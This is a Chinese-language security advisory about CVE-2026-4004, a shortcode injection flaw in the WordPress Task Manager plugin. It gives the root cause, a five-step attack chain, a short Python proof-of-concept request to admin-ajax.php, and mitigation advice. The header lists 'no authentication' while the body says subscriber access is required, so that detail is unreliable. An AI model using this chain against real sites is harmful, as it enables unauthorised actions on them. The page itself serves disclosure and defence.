IPBUF安全漏洞报告
English
CVE-2026-4004 CVSS 6.5 中危

CVE-2026-4004 WordPress Task Manager插件任意Shortcode执行

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-4004
漏洞类型
任意Shortcode执行
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Task Manager Plugin

相关标签

WordPress代码注入Shortcode权限绕过Task Manager

漏洞概述

WordPress Task Manager插件在3.0.2及以下版本中存在安全漏洞。由于`callback_search()`函数缺少权限检查且输入验证不足,攻击者可通过'search' AJAX操作执行任意Shortcode。`sanitize_text_field()`未过滤方括号语法,导致恶意输入被传递给`do_shortcode()`。拥有订阅者及以上权限的认证攻击者可注入Shortcode语法,在站点上执行任意操作。

技术细节

该漏洞源于WordPress Task Manager插件对AJAX请求处理的不安全性。漏洞核心位于`callback_search()`函数,该函数通过`search` action处理请求。代码逻辑中未对当前用户执行严格的权限检查,导致仅拥有订阅者权限的攻击者即可调用此敏感接口。更严重的是,输入验证机制存在缺陷,虽然使用了`sanitize_text_field()`函数,但它未过滤方括号`[]`,即WordPress Shortcode的标准语法。攻击者可将恶意Shortcode字符串注入到`task_id`、`point_id`等参数中。这些未经充分净化的输入随后被直接拼接到查询逻辑中并传递给`do_shortcode()`函数执行。由于WordPress生态中存在许多功能强大的Shortcode,攻击者通过构造特定Payload,可利用这些合法功能实现未授权的操作,甚至导致远程代码执行。

攻击链分析

STEP 1
信息收集
识别目标站点是否安装了WordPress Task Manager插件,并确认版本号在3.0.2及以下。
STEP 2
获取凭证
在目标站点注册或获取一个订阅者级别的WordPress账户凭证。
STEP 3
构造攻击载荷
构造包含恶意Shortcode语法的POST请求数据,指定'action'为'search',并在'task_id'等参数中填入Payload。
STEP 4
发送漏洞请求
使用获取的Cookie向/wp-admin/admin-ajax.php发送恶意的AJAX请求。
STEP 5
执行Shortcode
服务器端`callback_search()`函数接收参数,`do_shortcode()`解析并执行攻击者注入的Shortcode代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker's cookies (Subscriber level) cookies = { "wordpress_logged_in_xxxxx": "your_cookie_value_here" } # Vulnerable payload: Injecting a shortcode via the 'task_id' parameter # Replace [malicious_shortcode] with an actual shortcode available on the target payload_data = { "action": "search", "task_id": "[malicious_shortcode arg='value']" } try: response = requests.post(target_url, data=payload_data, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"Error: {e}")

影响范围

Task Manager <= 3.0.2

防御指南

临时缓解措施
建议立即将Task Manager插件升级到修复了此漏洞的最新版本。若暂时无法升级,请配置Web应用防火墙(WAF)规则,拦截包含`[`和`]`字符且指向`admin-ajax.php`的请求参数,或严格限制非管理员用户的AJAX访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表